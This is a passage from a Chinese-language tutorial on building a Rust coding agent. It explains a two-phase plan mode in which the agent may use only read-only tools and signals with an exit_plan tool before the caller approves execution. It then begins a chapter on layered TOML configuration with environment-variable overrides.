PlanAgent 是独立的结构体,封装同样的构建块——一个 provider、一个 ToolSet——但以不同方式编排。plan() 和 execute() 分别实现两个阶段,调用方控制它们之间的切换。这样 SimpleAgent 保持简洁,PlanAgent 对自己的工作流有完全控制。
Claude Code 的做法类似:plan 模式设置 PermissionMode::Plan,由权限引擎强制执行(只有只读工具通过)。UI 显示"Plan Mode"横幅和 agent 的计划,再请求批准。我们的 PlanAgent 用调用方驱动的批准方式封装了同样的两阶段模式。
PlanAgent 结构体
#![allow(unused)] fn main() { use std::collections::HashSet; use tokio::sync::mpsc; use crate::agent::{AgentEvent, tool_summary}; use crate::streaming::{StreamEvent, StreamProvider}; use crate::types::*; pub struct PlanAgent<P: StreamProvider> { provider: P, tools: ToolSet, read_only: HashSet<&'static str>, plan_system_prompt: String, exit_plan_def: ToolDefinition, } }
五个字段,各有明确职责:
provider— LLM 后端。注意StreamProvider约束,PlanAgent在 plan/execute 循环内部用流式传输。tools— 完整工具集。规划阶段只暴露一部分;执行阶段全部可用。read_only— 规划阶段允许的工具名称集合。只有列出的工具在 plan 阶段可用。plan_system_prompt— 规划阶段注入的系统提示词,默认值由DEFAULT_PLAN_PROMPT常量提供。exit_plan_def— 虚拟exit_plan工具的ToolDefinition。注入 plan 阶段的工具列表,但不存在于ToolSet。它是信号,不是真实工具。
构建器
构建器遵循与 SimpleAgent 相同的 new() + 链式调用模式。new() 创建 exit_plan_def,描述告诉模型它的作用。该定义没有参数——模型只需调用它来发出"规划完毕"信号。
#![allow(unused)] fn main() { let agent = PlanAgent::new(provider) .tool(ReadTool::new()) .tool(WriteTool::new()) .read_only(&["read"]) .plan_prompt("You are a security auditor."); }
PlanAgent 特有的两个构建器方法:
-
read_only(&[&'static str])— 设置规划阶段允许的工具名称。调用.read_only(&["bash", "read"])后,规划阶段只有bash和read可用。适合需要在分析阶段执行命令(如git log或cargo test --dry-run)的专业工作流。 -
plan_prompt(impl Into<String>)— 替换默认规划系统提示词。默认提示说"你处于规划模式,用可用工具探索代码库并制定计划。"自定义提示可以让 agent 专注于特定方向:安全审计、性能分析、迁移规划。
两个阶段
PlanAgent 的核心是 plan() 和 execute() 两个方法。结构与 SimpleAgent 的 chat() 相同,但工具集不同,终止条件也不同。两个方法都接受 mpsc::UnboundedSender<AgentEvent>,用于把事件流式传回调用方。
flowchart LR
A["用户提示"] --> B["plan()<br/>只读工具<br/>+ exit_plan"]
B --> C["计划文本"]
C --> D{"调用方<br/>批准?"}
D -->|是| E["推送批准<br/>消息"]
D -->|否| F["推送反馈<br/>消息"]
F --> B
E --> G["execute()<br/>所有工具"]
G --> H["最终结果"]
调用方驱动转换。plan() 返回后,调用方可以:
- 向用户展示计划
- 把
Message::user("Approved. Go ahead.")推入消息历史 - 用同一个消息向量调用
execute()
也可以拒绝计划,推送反馈,再次调用 plan()。PlanAgent 不在乎——没有内置 UI,没有批准对话框。它是工作流 agent,不是用户界面。
阶段一:plan()
规划阶段跑受限的 agent 循环,只有只读工具和虚拟 exit_plan 工具可用。plan() 和 execute() 都委托给共享的 run_loop() 方法:
#![allow(unused)] fn main() { pub async fn plan( &self, messages: &mut Vec<Message>, events: mpsc::UnboundedSender<AgentEvent>, ) -> anyhow::Result<String> { // Inject system prompt if needed // Call run_loop with Some(&self.read_only) unimplemented!() } pub async fn execute( &self, messages: &mut Vec<Message>, events: mpsc::UnboundedSender<AgentEvent>, ) -> anyhow::Result<String> { // Call run_loop with None (no restrictions) unimplemented!() } }
run_loop() 是共享 agent 循环。allowed 为 Some 时,只有这些工具加上 exit_plan 可用;allowed 为 None 时,全部工具可用:
以下是 run_loop 的完整实现:
#![allow(unused)] fn main() { async fn run_loop( &self, messages: &mut Vec<Message>, allowed: Option<&HashSet<&'static str>>, events: mpsc::UnboundedSender<AgentEvent>, ) -> anyhow::Result<String> { // Step 1: filter tool definitions let all_defs = self.tools.definitions(); let defs: Vec<&ToolDefinition> = match allowed { Some(names) => { let mut filtered: Vec<&ToolDefinition> = all_defs .into_iter() .filter(|d| names.contains(d.name)) .collect(); filtered.push(&self.exit_plan_def); filtered } None => all_defs, }; loop { // Step 2: stream the LLM response (forward text deltas to UI) let (stream_tx, mut stream_rx) = mpsc::unbounded_channel(); let events_clone = events.clone(); let forwarder = tokio::spawn(async move { while let Some(event) = stream_rx.recv().await { if let StreamEvent::TextDelta(ref text) = event { let _ = events_clone.send(AgentEvent::TextDelta(text.clone())); } } }); let turn = self.provider.stream_chat(messages, &defs, stream_tx).await?; let _ = forwarder.await; // Step 3: match on stop reason match turn.stop_reason { StopReason::Stop => { let text = turn.text.clone().unwrap_or_default(); let _ = events.send(AgentEvent::Done(text.clone())); messages.push(Message::Assistant(turn)); return Ok(text); } StopReason::ToolUse => { let mut results = Vec::with_capacity(turn.tool_calls.len()); for call in &turn.tool_calls { // Handle exit_plan if allowed.is_some() && call.name == "exit_plan" { let text = turn.text.clone().unwrap_or_default(); let _ = events.send(AgentEvent::Done(text.clone())); messages.push(Message::Assistant(turn)); messages.push(Message::ToolResult { id: call.id.clone(), content: "Plan submitted for review.".into(), }); return Ok(text); } // Block tools not in allowed set if let Some(names) = allowed { if !names.contains(call.name.as_str()) { results.push(( call.id.clone(), format!("error: tool `{}` is not available in planning mode", call.name), )); continue; } } // Execute allowed tools let content = match self.tools.get(&call.name) { Some(t) => t.call(call.arguments.clone()).await .unwrap_or_else(|e| format!("error: {e}")), None => format!("error: unknown tool `{}`", call.name), }; results.push((call.id.clone(), content)); } messages.push(Message::Assistant(turn)); for (id, content) in results { messages.push(Message::ToolResult { id, content }); } } } } } }
结构与 SimpleAgent 的 chat 循环一致——相同的循环、相同的 provider 调用、相同的停止原因匹配。不过 PlanAgent 通过 StreamProvider 在内部使用流式传输,有三点不同:
1. 系统提示词注入
进入循环前,plan() 把规划系统提示词插入消息历史的位置 0(如果还没有),告诉模型它处于规划模式。
2. 过滤工具定义
plan 阶段只把 read_only 集合中的工具加上 exit_plan 发给模型。模型在 schema 里看不到写工具,自然没有理由调用它们。
3. exit_plan 退出口
模型调用 exit_plan 时,plan 阶段立即结束。循环把助手消息和合成工具结果("Plan submitted for review.")推入历史,然后返回。合成结果是必须的——API 要求每次工具调用都有对应结果,缺了它下次 provider 调用会因请求格式错误而失败。
plan 阶段有两种退出方式:
StopReason::Stop— 模型直接产生文本响应,隐式退出。exit_plan工具调用 — 模型明确发出信号,显式退出。
两种方式都返回计划文本(如果模型把计划放在工具调用参数里而非文本中,则可能为空)。
exit_plan 工具
exit_plan 工具值得单独说明,因为它很特殊。它不是真实工具,不在 ToolSet 里,没有 call() 方法。它只是一个有名称和描述的 ToolDefinition,注入 plan 阶段的工具列表,让模型把它当成选项。
为什么不直接依赖 StopReason::Stop?理论上可以:告诉模型"规划完毕后,以纯文本输出计划然后停止。"但实践中这与大多数指令微调模型根深蒂固的两种行为相抗衡。
- 工具可见时,模型会持续使用。 给模型
read、glob、grep和用户提示,它会愉快地花十轮探索代码库,然后才产生任何叙述性输出。没有自然的停止梯度——再来一次grep总是合理的。没有刻意的停止信号,规划阶段就会一直拖。 - 纯文本停止很容易被误读为未完成。 以"接下来,我需要检查 X 是如何连接的"结束一轮的模型,即使
stop_reason == Stop,也在暗示"我还在工作"。调用方很难区分已完成的计划和中途暂停的想法。
exit_plan 绕开了这两个问题。它是模型必须主动选择调用的工具,代表明确的承诺("我准备好了")。计划文本作为参数携带,计划和停止信号在同一条结构化消息中一起到达。而且它占据模型已经习惯的工具调用槽位,行为能与循环的其余部分自然组合。这是用工具 schema 表达的社会契约。
模型调用 exit_plan 时,循环按名称检测到它,推送助手消息,找到调用 ID,推送内容为"Plan submitted for review."的合成 ToolResult。合成结果很重要——消息协议要求每个 ToolCall 都有匹配的 ToolResult,少了它下次 API 调用会因请求格式错误失败。
阶段二:execute()
执行阶段是带完整工具集的标准 agent 循环。没有过滤,没有虚拟工具,没有特殊终止。execute() 调用 run_loop(messages, None, events)——allowed 传 None 意味着所有工具可用。
关键点:execute() 接收与 plan() 相同的 &mut Vec<Message>。规划阶段的消息历史——系统提示词、用户请求、只读工具调用、计划文本——全都还在。模型带着完整的分析和决策上下文进入执行阶段。这种连续性正是两阶段模式有效的原因。模型不是从头开始,而是从停下的地方继续。
plan() 和 execute() 之间,调用方通常推送一条用户消息:
#![allow(unused)] fn main() { let (tx, _rx) = mpsc::unbounded_channel(); let plan = agent.plan(&mut messages, tx.clone()).await?; println!("Plan: {plan}"); // User approves messages.push(Message::user("Approved. Go ahead.")); let result = agent.execute(&mut messages, tx).await?; }
批准消息成为执行上下文的一部分,模型看到它就知道自己有权限进行修改。
纵深防御:工具过滤
plan 阶段用两层保护防止写操作:
第一层:定义过滤
提供了 allowed 集合时,run_loop 过滤发给模型的工具 schema。只有名称在集合中的工具才被包含,加上 exit_plan。
模型在 schema 里看不到某工具,就没有理由调用它。这是主防线——消除诱惑。
第二层:执行守卫
即使模型以某种方式请求了被阻止的工具(幻觉、提示注入,或对 schema 的创意解读),run_loop 也会捕获。每次工具调用有三种处理:
-
exit_plan特殊处理 — 模型调用exit_plan时,循环立即返回计划文本,同时推送合成工具结果保持消息历史有效。 -
被阻止的工具返回错误 — 工具不在
allowed集合中时,不执行,向模型返回错误字符串。模型看到错误,理解约束,做出调整。 -
允许的工具正常执行 — 查找、调用、返回结果,与
SimpleAgent的工具执行流程相同。
两层都失效,写操作才能在规划阶段溜过。
Rust 关键概念:HashSet<&'static str> 实现零成本字符串集合
read_only 字段用 &'static str 而非 String。集合中存放的是程序整个生命周期内都有效的字符串字面量引用——无需堆分配,无需克隆。'static 生命周期告诉编译器这些字符串永远不会失效,对 "read" 或 "bash" 这样的字符串字面量来说始终成立。代价是只能放入编译时已知的字符串,不能放入动态生成的字符串。工具名称始终在编译时确定,这正是理想选择。
read_only 集合
read_only 字段是包含规划阶段允许工具名称的 HashSet<&'static str>,通过 read_only() 构建器方法设置:
#![allow(unused)] fn main() { pub fn read_only(mut self, names: &[&'static str]) -> Self { self.read_only = names.iter().cloned().collect(); self } }
参考实现可以回退到检查工具上的 is_read_only() 标志,但 starter 要求明确命名允许的工具——starter 的 Tool trait 上没有 is_read_only() 或 is_destructive() 方法,这样更简单。
系统提示词注入
plan 阶段注入系统消息告诉模型它处于规划模式,由 maybe_inject_plan_prompt() 处理:
#![allow(unused)] fn main() { fn maybe_inject_plan_prompt(&self, messages: &mut Vec<Message>) { // Don't inject if a system message already exists let has_system = messages .first() .is_some_and(|m| matches!(m, Message::System(_))); if !has_system { messages.insert(0, Message::System(self.plan_system_prompt.clone())); } } }
三个设计决策:
-
尊重现有系统提示词 — 检查位置 0 是否已有
Message::System。如果调用方已设置系统提示词(如"你是安全审计员"),plan 模式尊重它而不覆盖。plan()被调用两次时,第二次会找到现有消息并跳过注入。 -
位置 0 — 规划提示词插入消息列表开头,在所有现有消息之前。位置 0 的系统提示词对模型行为影响最强。
-
自定义或默认 — 构建器调用过
plan_prompt()则用那段文本,否则默认值告诉模型它处于规划模式、应使用只读工具,完成时调用exit_plan。
完整的 plan-execute 流程
用一个实际场景来追踪整个流程。用户想把源文件复制到新位置。
设置:
#![allow(unused)] fn main() { let engine = PlanAgent::new(provider) .tool(ReadTool::new()) .tool(WriteTool::new()); let mut messages = vec![Message::user("Copy src.txt to dst.txt")]; }
Plan 阶段 — plan() 注入规划系统提示词,把定义过滤为 [read, exit_plan](write 被排除),进入循环。模型调用 read(path="src.txt"),看到内容,返回"我将把 src.txt 复制到 dst.txt。"
批准 — 调用方打印计划,推送用户消息:
#![allow(unused)] fn main() { println!("Plan: {}", plan); messages.push(Message::user("Approved. Go ahead.")); }
Execute 阶段 — execute() 暴露全部工具。模型调用 write(path="dst.txt", content="source content"),文件在磁盘上创建,模型返回"完成!文件已复制。"
最终消息历史包含完整追踪:规划系统提示词、用户请求、只读分析、计划文本、批准、写操作、最终确认。模型在每一步都有完整上下文。
事件流:plan_with_events()
与 SimpleAgent 一样,PlanAgent 有事件流变体。plan/execute 方法接受 mpsc::UnboundedSender<AgentEvent>,阶段运行时发出 ToolCall、TextDelta、Done 和 Error 事件。模式与 agent 模块的 run_with_events() 相同。
TUI 可以用它在 agent 规划阶段读取文件时显示加载指示器,计划文本流式传输时展示,调用 execute() 前提示用户批准。
Claude Code 的实现方式
Claude Code 的 plan 模式遵循同样的两阶段模式,但与权限系统的集成更深。
| 特性 | 我们的 PlanAgent | Claude Code |
|---|---|---|
| 工具过滤 | 显式只读集合 | PermissionMode::Plan 标志 |
| UI 集成 | 调用方驱动(无内置 UI) | TUI 中的"Plan Mode"横幅 |
| 批准流程 | 调用方推送用户消息 | 带批准/拒绝的 UI 对话框 |
| 系统提示词 | 带 plan_mode 标签的消息 | 特定模式的提示词段落 |
| 退出信号 | exit_plan 虚拟工具 | 权限引擎中的模式转换 |
| 写阻断 | 两层(定义 + 执行) | 权限引擎拒绝非只读操作 |
最大的区别在于执行发生的位置。Claude Code 里权限引擎负责——plan 模式只是另一种拒绝非只读工具调用的权限模式,SimpleAgent 完全不需要知道 plan 模式。我们的方式更简单、更自包含:关于 plan 模式的所有内容都在一个结构体里,代价是对"半 plan"模式(允许部分写操作)的灵活性较低。
测试
运行 plan 模式测试:
cargo test -p mini-claw-code-starter plan
关键测试:
- test_plan_plan_text_response — LLM 以
StopReason::Stop响应时,plan 阶段直接返回文本。 - test_plan_plan_with_read_tool — plan 阶段允许
read工具调用并返回计划文本。 - test_plan_plan_blocks_write_tool — plan 阶段阻止
write工具调用,向 LLM 返回错误,并验证文件未在磁盘上创建。 - test_plan_plan_blocks_edit_tool — plan 阶段阻止
edit工具调用,原始文件保持不变。 - test_plan_execute_allows_write_tool — execute 阶段允许写操作,文件在磁盘上创建。
- test_plan_full_plan_then_execute — 完整两阶段流程:plan 读取文件,execution 写入新文件。
- test_plan_message_continuity — 消息历史在 plan 和 execute 阶段之间正确增长(系统 + 用户 + 助手消息累积)。
- test_plan_read_only_override — 自定义
read_only(&["read"])将bash排除在 plan 阶段之外。 - test_plan_streaming_events_during_plan — plan 阶段通过通道发出
TextDelta和Done事件。 - test_plan_exit_plan_tool — 虚拟
exit_plan工具结束规划并注入合成工具结果。 - test_plan_system_prompt_injected — plan 阶段在位置 0 插入
PLANNING MODE系统消息。 - test_plan_system_prompt_not_duplicated — 调用
plan()两次不会重复系统提示词。 - test_plan_exit_plan_not_in_execute — execute 阶段中,
exit_plan被视为未知工具。 - test_plan_custom_plan_prompt — 自定义 plan 提示词替换默认规划指令。
- test_plan_full_flow_with_exit_plan — 端到端:规划时读取,exit_plan,批准,执行时写入。
核心要点
Plan 模式是调用方驱动的关注点分离:agent 先用只读工具分析,调用方审查并批准,agent 再用全量工具执行。同一份消息历史流经两个阶段,执行阶段拥有规划阶段的完整上下文。
回顾
Plan 模式完成了第三部分——安全与控制。四章下来,你构建了把鲁莽 agent 变成有纪律 agent 的各个层次:
- 第 13 章:权限引擎 — 执行前对每次工具调用检查权限规则。根据工具和模式来询问、允许或拒绝。
- 第 14 章:安全检查 — 工具参数的静态分析,在权限提示出现前捕获危险模式。
- 第 15 章:钩子系统 — 前置和后置工具钩子,实现自定义策略。编辑后运行 linter,阻止某些路径,执行项目规则。
- 第 16 章:Plan 模式 — 将分析与行动分离的两阶段工作流。agent 先读取和推理,仅在批准后才进行修改。
关键的架构洞察是调用方驱动的批准。PlanAgent 不提示用户、不显示对话框、不对 UI 做任何假设。它运行计划,返回文本,然后等待。调用方决定下一步做什么。这种关注点分离——引擎逻辑与用户交互——使同一个 PlanAgent 能在 CLI、TUI、Web 界面或测试框架中工作。
下一步
第三部分为 agent 提供了安全与控制。第四部分——配置——构建使 agent 具有项目感知能力的系统:
- 第 17 章:设置层级 — 从全局默认值到项目特定覆盖的分层配置。
- 第 18 章:项目指令 — 加载和组装 CLAUDE.md 文件,告诉 agent 如何处理这个特定代码库。
第三部分的安全基础设施保护 agent 免于造成伤害。第四部分的配置基础设施教它做好事情。
自我检测
← 第 15 章:钩子 · 目录 · 第 17 章:设置层级 →
第 17 章:设置层级
需要编辑的文件:
src/config.rs、src/usage.rs运行的测试:cargo test -p mini-claw-code-starter config(Config、ConfigLoader)、cargo test -p mini-claw-code-starter cost_tracker(CostTracker) 预计用时: 60 分钟
agent 现在能工作了。读文件、写代码、跑命令、检查权限、执行安全规则,plan 模式下还能限制自身。但这些行为全是硬编码的。模型名称是字符串字面量。被阻止的命令列表嵌在源码里。最大上下文窗口是个常量。想改任何一个,就得重新编译。
真正的工具不是这样运作的。在 Rust 项目上用 Claude Code 的开发者和在 Python 单体仓库上工作的开发者需要不同的设置。CI 流水线需要与交互式会话不同的默认值。通过自托管代理路由的用户需要不同的 base URL。agent 必须可配置——配置必须来自多个来源,按优先级分层,让项目设置覆盖用户设置,环境变量覆盖一切。
本章构建 4 层配置层级和成本追踪器。完成后,config(配置)和 cost_tracker(成本追踪器)的测试都应该通过。
cargo test -p mini-claw-code-starter config # Config, ConfigLoader
cargo test -p mini-claw-code-starter cost_tracker # CostTracker
目标
- 定义带 serde 默认值的
Config结构体,使部分 TOML 文件能反序列化为完整配置。 - 定义
ConfigOverlay结构体,字段类型为Option<T>,让加载器能区分"字段未在 TOML 中设置"和"字段被明确设置为默认值"。 - 实现
merge()函数,规则只有一条:overlay 中的每个Some(_)替换基础配置中对应的值。 - 构建
ConfigLoader,按优先级顺序组装四个层(默认值、项目配置、用户配置、环境变量)。 - 实现
CostTracker,累积 token 计数并根据每百万 token 定价计算运行成本估算。
为什么要分层?
单个配置文件很简单:一个 config.toml,一个真相来源,搞定。但在实践中它马上就会失效:
- 用户偏好(模型选择和 API base URL 等)应该在所有项目中跟随你。不应该在每个仓库都写
model = "anthropic/claude-sonnet-4-20250514"。 - 项目设置(被阻止的命令和受保护的文件模式等)特定于某个代码库。Node 项目可能阻止
rm -rf node_modules,Rust 项目阻止cargo publish --allow-dirty。 - 环境覆盖让 CI 流水线无需修改配置文件即可注入设置。GitHub Actions 工作流中的
MINI_CLAW_MODEL=anthropic/claude-haiku-3-20250414可以切到更便宜的模型做自动化检查。 - 默认值在完全未配置时提供合理的行为。
解决方案是分层配置。每层可以设置任意字段,优先级更高的层覆盖更低的层,某层未设置的字段向下透传到下一层。
优先级(从高到低):
1. 环境变量 MINI_CLAW_MODEL, MINI_CLAW_BASE_URL, MINI_CLAW_MAX_TOKENS
2. 用户配置 ~/.config/mini-claw/config.toml
3. 项目配置 .claw/config.toml
4. 默认值 硬编码在代码中
Claude Code 用的是同一套方式。其层级为:CLI 标志 > 环境 > 用户设置 > 项目设置 > 默认值。合并逻辑更复杂——支持按键覆盖和数组合并策略——但架构相同。
flowchart TD
A["Config::default()"] -->|merge| B["项目配置<br/>.claw/config.toml"]
B -->|merge| C["用户配置<br/>~/.config/mini-claw/config.toml"]
C -->|override| D["环境变量<br/>MINI_CLAW_MODEL 等"]
D --> E["最终 Config"]
style A fill:#e8e8e8
style E fill:#c8e6c9
Config 结构体
所有配置存储在 src/config/mod.rs 的单个 Config 结构体中:
#![allow(unused)] fn main() { use std::path::{Path, PathBuf}; use serde::{Deserialize, Serialize}; #[derive(Debug, Clone, Serialize, Deserialize)] pub struct Config { #[serde(default = "default_model")] pub model: String, #[serde(default = "default_base_url")] pub base_url: String, #[serde(default = "default_max_tokens")] pub max_context_tokens: u64, #[serde(default = "default_preserve_recent")] pub preserve_recent: usize, #[serde(default)] pub allowed_directory: Option<String>, #[serde(default)] pub protected_patterns: Vec<String>, #[serde(default)] pub blocked_commands: Vec<String>, #[serde(default)] pub instructions: Option<String>, } }
八个字段,涵盖三类:provider 设置、安全设置、agent 行为。
Provider 设置
model 标识使用哪个 LLM。默认为 "anthropic/claude-sonnet-4-20250514",一个 OpenRouter 模型路径。用户通过不同 provider 路由或想用更便宜的模型测试时可以覆盖它。
base_url 是 API 端点。默认指向 OpenRouter(https://openrouter.ai/api/v1)。跑本地代理、企业网关或其他 OpenAI 兼容 API 的用户改成指向自己的端点。
max_context_tokens 将上下文窗口限制在 200,000 个 token。压缩引擎读取此值来决定何时摘要旧消息。不同模型有不同的上下文限制——Haiku 支持 200K,但自托管模型可能只能处理 8K。
安全设置
allowed_directory 将文件操作限制在单个目录树内。设置后,Write、Edit 和 Read 工具拒绝触碰此路径之外的任何内容。简单但有效的沙箱——在 CI 中很有用,agent 只应该修改检出目录。
protected_patterns 是不能被写入的文件的 glob 模式列表。项目可能保护 *.lock 文件、.env 或 Cargo.toml,防止 agent 意外修改构建关键文件。
blocked_commands 列出 bash 工具拒绝的命令子字符串。命令中出现任何被阻止的子字符串,执行就被拒绝。这是第 14 章安全检查的配置入口。
Agent 行为
preserve_recent 控制压缩引擎保留多少条最近消息。压缩时,引擎摘要较旧的消息,但保留最近的 preserve_recent 条不变,让模型有新鲜的上下文。默认 10 条大约对应最近 2-3 轮工具调用。
instructions 将自定义文本注入系统提示词。这是放置项目特定指导的地方——"始终使用 async/await"、"公共 API 中优先使用 Vec 而非 slice"、"测试必须使用 mock provider"。第 18 章构建完整的指令系统,此字段是其配置入口。
Rust 关键概念:#[serde(default)] 实现部分反序列化
serde 的 default 属性让部分配置文件得以工作。TOML 文件省略某字段时,serde 通常会因"缺少字段"而失败。#[serde(default = "function_name")] 属性告诉 serde 调用指定函数而不是失败。默认为 None 或空 Vec 的字段用更简单的 #[serde(default)],它调用 Default::default()。这个模式在 Rust 配置中很惯用:每个字段有合理默认值,用户只需指定想要更改的内容。另一种方式——要求配置文件中包含每个字段——会让部分配置变得不可能。
默认函数与 serde 技巧
每个有非平凡默认值的字段用一个命名函数:
#![allow(unused)] fn main() { fn default_model() -> String { "anthropic/claude-sonnet-4-20250514".into() } fn default_base_url() -> String { "https://openrouter.ai/api/v1".into() } fn default_max_tokens() -> u64 { 200_000 } fn default_preserve_recent() -> usize { 10 } }
#[serde(default = "default_model")] 属性告诉 serde,TOML 输入中缺少 model 字段时调用 default_model()。这让部分配置文件得以工作。只设置了 blocked_commands 的项目配置仍然能反序列化为完整的 Config——每个省略的字段都获得默认值。
默认为"空"的字段(Option<String>、Vec<String>)用更简单的 #[serde(default)],它调用 Default::default()——Option 对应 None,集合对应空 Vec。
Config 的 Default 实现与这些函数完全对应:
#![allow(unused)] fn main() { impl Default for Config { fn default() -> Self { Self { model: default_model(), base_url: default_base_url(), max_context_tokens: default_max_tokens(), preserve_recent: default_preserve_recent(), allowed_directory: None, protected_patterns: Vec::new(), blocked_commands: Vec::new(), instructions: None, } } } }
同时拥有 Default 实现和 serde 默认值是有意为之的。Config::default() 在代码中使用——构造基础配置、在合并逻辑中与默认值比较。#[serde(default = "...")] 属性在反序列化时使用。两者必须保持一致,共享同一套命名函数来保证这一点。
overlay:区分"未设置"与"设置为默认值"
写合并函数前,需要一种方式回答 Config 本身无法回答的问题:这个字段是否真的在 TOML 文件中被设置了?
一种自然的第一尝试是"将 overlay 值与 Config::default() 比较——如果不同,说明被设置了。"这个启发式是错的,无法区分两种不同情况:
- 用户没有在 TOML 中设置该字段。
- 用户确实设置了该字段,但值恰好等于默认值。
情况 2 并非假设。如果默认 model 是 "anthropic/claude-sonnet-4-20250514",而用户在用户配置中明确写了 model = "anthropic/claude-sonnet-4-20250514" 来断言它(无论项目如何覆盖),"与默认值比较"的启发式会默默地把它当作"未设置",保留前一层的值。最后写入者获胜的原则被违反了。
解决方案是在类型系统中编码"已设置"与"未设置"。引入第二个结构体——ConfigOverlay——其字段为 Option<T>。Serde 将缺失的 TOML 键反序列化为 None,将存在的键反序列化为 Some(value),不需要值比较。
#![allow(unused)] fn main() { #[derive(Debug, Clone, Default, Deserialize)] #[serde(default)] pub struct ConfigOverlay { pub model: Option<String>, pub base_url: Option<String>, pub max_context_tokens: Option<u64>, pub preserve_recent: Option<usize>, pub allowed_directory: Option<String>, pub protected_patterns: Option<Vec<String>>, pub blocked_commands: Option<Vec<String>>, pub instructions: Option<String>, } }
结构体级别的 #[serde(default)] 告诉 serde,TOML 输入中缺少的任何字段回退到 Default::default()——而 Option<T> 的 Default::default() 是 None。这正是我们想要的"键缺失 → None"映射,无需逐个字段注解。
两个结构体扮演互补角色。Config 是完全解析的输出:每个字段都有值,下游所有人读取时无需关心值是如何得到的。ConfigOverlay 是传输格式:相同形状的部分可选视图,仅在合并层时使用。
即使是 Vec<T> 字段也变成了 Option<Vec<T>>。这很重要——TOML 中设置 protected_patterns = [] 的 overlay 意味着"清空列表",与"根本没有提到列表"不同。Option<Vec<T>> 能清晰表示两种情况,裸 Vec<T> 则不能。
合并逻辑
有了 overlay,合并变得统一:overlay 中的每个 Some(_) 替换基础配置中对应的字段,每个 None 保持基础配置不变。
#![allow(unused)] fn main() { pub fn merge(base: Config, overlay: ConfigOverlay) -> Config { Config { model: overlay.model.unwrap_or(base.model), base_url: overlay.base_url.unwrap_or(base.base_url), max_context_tokens: overlay.max_context_tokens.unwrap_or(base.max_context_tokens), preserve_recent: overlay.preserve_recent.unwrap_or(base.preserve_recent), allowed_directory: overlay.allowed_directory.or(base.allowed_directory), protected_patterns: overlay.protected_patterns.unwrap_or(base.protected_patterns), blocked_commands: overlay.blocked_commands.unwrap_or(base.blocked_commands), instructions: overlay.instructions.or(base.instructions), } } }
两种模式覆盖所有字段:
unwrap_or(base.x)用于Config中持有具体值的字段(如String、u64、Vec<String>)。overlay 有Some(v)时结果是v,否则保留基础值。.or(base.x)用于Config上已经是Option<T>的字段(allowed_directory、instructions)。Option::or返回找到的第一个Some(_)。
合并逻辑就这些。没有值比较,没有每字段的特殊情况。后来的层设置某字段时总是获胜,不管值是否与默认值一致、是否与前一层相同,或是否为空。
集合:替换,而非追加
overlay 设置了 protected_patterns 或 blocked_commands 时,其值完全替换基础配置。追加的方式意味着每层都向列表中添加内容,无法移除来自较低层的条目。替换让每个提到该字段的层都能完全控制其内容。
考虑这样的场景:项目层保护 .env 和 .secret,而用户配置也设置了 protected_patterns = [".credentials"]。替换策略意味着只有 .credentials 受保护——项目的模式消失了。因为项目配置先加载(优先级最低),用户配置后加载(优先级更高),用户配置的模式替换了项目的模式。对大多数设置而言这是合理的——用户比项目作者更了解自己的环境。
想要追加语义,可以用扩展集合的方式:
#![allow(unused)] fn main() { // Append(我们不这样做): if let Some(extra) = overlay.protected_patterns { base.protected_patterns.extend(extra); } }
Claude Code 根据字段不同支持两种策略。我们的实现保持简单,只用替换,而 overlay 的 Option<Vec<T>> 类型使"层没有提到此字段"与"层明确将其设置为空列表"保持区别。
ConfigLoader:组装各层
ConfigLoader 编排完整的合并流水线:
#![allow(unused)] fn main() { pub struct ConfigLoader { project_dir: Option<PathBuf>, } impl ConfigLoader { pub fn new() -> Self { Self { project_dir: None } } pub fn project_dir(mut self, dir: impl Into<PathBuf>) -> Self { self.project_dir = Some(dir.into()); self } pub fn load(&self) -> Config { let mut config = Config::default(); // Layer 1: Project config (.claw/config.toml) if let Some(ref dir) = self.project_dir { let project_path = dir.join(".claw").join("config.toml"); if let Some(overlay) = Self::load_file(&project_path) { config = Self::merge(config, overlay); } } // Layer 2: User config (~/.config/mini-claw/config.toml) if let Some(user_dir) = dirs::config_dir() { let user_path = user_dir.join("mini-claw").join("config.toml"); if let Some(overlay) = Self::load_file(&user_path) { config = Self::merge(config, overlay); } } // Layer 3: Environment variables (highest priority) config = Self::apply_env(config); config } } }
构建器模式让调用方可以选择指定项目目录。在真实 agent 中,这是用户调用工具时的工作目录。在测试中,这是临时目录。
加载顺序很重要
load() 从最低优先级到最高优先级依次应用各层:
- 从
Config::default()开始——绝对基线。 - 合并项目配置(
.claw/config.toml)——项目特定覆盖。 - 合并用户配置(
~/.config/mini-claw/config.toml)——用户范围偏好。 - 应用环境变量——最终覆盖。
每次合并以当前累积的配置作为基础,以新层作为 overlay。非默认的 overlay 值替换基础值。用户配置优先于项目配置,环境变量优先于一切。
dirs::config_dir() 调用用 dirs crate 查找平台适当的配置目录——Linux 上是 ~/.config,macOS 上是 ~/Library/Application Support,Windows 上是 %APPDATA%。Linux 上遵循 XDG 基础目录规范,其他平台遵循各自的平台惯例。
加载单个文件
#![allow(unused)] fn main() { pub fn load_file(path: &Path) -> Option<ConfigOverlay> { let content = std::fs::read_to_string(path).ok()?; toml::from_str(&content).ok() } }
两行,两个可能的失败点,都用 .ok()? 处理:
- 文件可能不存在——
read_to_string返回Err,.ok()转换为None,?返回None。 - 文件可能包含无效 TOML——
toml::from_str返回Err,同样的链式处理。
注意返回类型是 Option<ConfigOverlay> 而非 Option<Config>。加载器特意解析为部分类型——这是 merge 后来知道文件实际提到了哪些字段的方式。
返回 Option<_> 而非 Result<_, Error> 是有意为之的。缺失的配置文件不是错误——是正常情况。大多数用户不会有用户配置文件,大多数项目不会有 .claw/config.toml。加载器应该静默跳过缺失的文件并应用默认值。无效的 TOML 可以说值得报告,但为了简单起见我们同样处理。生产实现会在解析失败时记录警告,同时仍回退到默认值。
toml crate 处理反序列化。因为 ConfigOverlay 上的每个字段都是带 #[serde(default)] 的 Option<T>,只设置一个字段的 TOML 文件也能干净地解析——其他字段都变成 None:
# 这是有效的配置文件:
model = "anthropic/claude-haiku-3-20250414"
这会反序列化为 model: Some(...) 且其他所有字段为 None 的 ConfigOverlay。merge 应用它时,只有 model 在基础配置上被修改。
环境变量覆盖
#![allow(unused)] fn main() { fn apply_env(mut config: Config) -> Config { if let Ok(model) = std::env::var("MINI_CLAW_MODEL") { config.model = model; } if let Ok(url) = std::env::var("MINI_CLAW_BASE_URL") { config.base_url = url; } if let Ok(tokens) = std::env::var("MINI_CLAW_MAX_TOKENS") { if let Ok(n) = tokens.parse::<u64>() { config.max_context_tokens = n; } } config } }
环境变量是最简单的层——没有文件,没有解析,没有合并逻辑。变量存在时,其值替换该字段;不存在时,字段保持不变。
